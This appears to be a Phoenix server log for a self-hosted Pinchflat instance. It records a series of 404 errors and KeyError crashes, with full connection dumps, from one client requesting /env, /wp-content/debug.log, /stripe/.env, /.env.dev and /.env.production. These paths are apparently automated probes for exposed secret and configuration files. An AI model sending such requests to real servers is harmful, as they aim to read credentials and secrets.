Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQVMl39U-ZoACMEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21432.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51998}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21432.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51998}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21433.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQVMl39U-ZoACMEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 15:40:15.489 [info] GET /wp-content/debug.log 15:40:15.489 [debug] QUERY OK source="settings" db=0.1ms idle=154.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.489 [debug] QUERY OK source="settings" db=0.0ms idle=103.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.489 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.489 [error] #PID<0.21435.0> running PinchflatWeb.Endpoint (connection #PID<0.21434.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-content/debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21434.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21435.0>, params: %{}, path_info: ["wp-content", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-content/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQfVn8hhyoIACMEh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21434.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21434.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21435.0>, params: %{}, path_info: ["wp-content", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-content/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id (truncated) 15:40:15.557 [info] GET /stripe/.env 15:40:15.558 [debug] QUERY OK source="settings" db=0.1ms idle=171.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.558 [debug] QUERY OK source="settings" db=0.0ms idle=111.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.558 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.558 [error] #PID<0.21437.0> running PinchflatWeb.Endpoint (connection #PID<0.21436.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /stripe/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21436.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52016}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21437.0>, params: %{}, path_info: ["stripe", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/stripe/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQvtpUGZtH4ACMFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21436.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52016}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21436.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52016}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21437.0>, params: %{}, path_info: ["stripe", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/stripe/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQvtpUGZtH4ACMFB"} ], scheme: :http, script_name: [] (truncated) 15:40:15.592 [info] GET /.env.dev 15:40:15.593 [debug] QUERY OK source="settings" db=0.0ms idle=146.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.593 [debug] QUERY OK source="settings" db=0.0ms idle=103.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.593 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.593 [error] #PID<0.21439.0> running PinchflatWeb.Endpoint (connection #PID<0.21438.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52030}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21439.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQ4EmEQnq6kACMFh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52030}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21438.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52030}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21439.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQ4EmEQnq6kACMFh"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:15.670 [info] GET /.env.production 15:40:15.670 [debug] QUERY OK source="settings" db=0.0ms idle=180.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.670 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.670 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.670 [error] #PID<0.21441.0> running PinchflatWeb.Endpoint (connection #PID<0.21440.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21440.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52038}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21441.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", 